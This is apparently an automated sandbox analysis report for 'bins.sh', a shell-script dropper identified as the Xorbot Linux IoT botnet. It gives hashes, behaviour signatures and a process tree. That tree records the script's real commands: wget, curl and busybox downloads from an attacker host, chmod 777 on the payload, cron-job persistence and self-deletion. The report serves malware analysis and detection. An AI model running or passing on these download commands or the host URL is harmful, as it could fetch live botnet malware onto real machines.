Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    13/02/2025, 04:32

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250213-e514pstmgx
  • SHA256 d2740e7d91004ad14804a2ea623ddad5252b5b7e8113fa1d66fbd8d2cc591a70
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1501
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1502
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1503
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1511
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1513
      • /bin/chmod
        chmod 777 xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
        2⤵
        • File and Directory Permissions Modification
        PID:1514
      • /usr/bin/crontab
        crontab -l
        2⤵
          PID:1518
        • /usr/bin/crontab
          crontab -
          2⤵
          • Creates/modifies Cron job
          PID:1520
        • /bin/rm
          rm xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
          2⤵
            PID:1522
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
            2⤵
            • System Network Configuration Discovery
            PID:1525

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ

              • Path /tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
              • Size 98KB
              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
              • MD5 SHA1 SHA512 SSDEEP

              tmp.wH2LzY

              • Path /var/spool/cron/crontabs/tmp.wH2LzY
              • Size 210B
              • SHA256 4f85986459ed45949c6ffc84edb04c2e86f7b48464a1086eea6dfd06a5720b21
              • MD5 SHA1 SHA512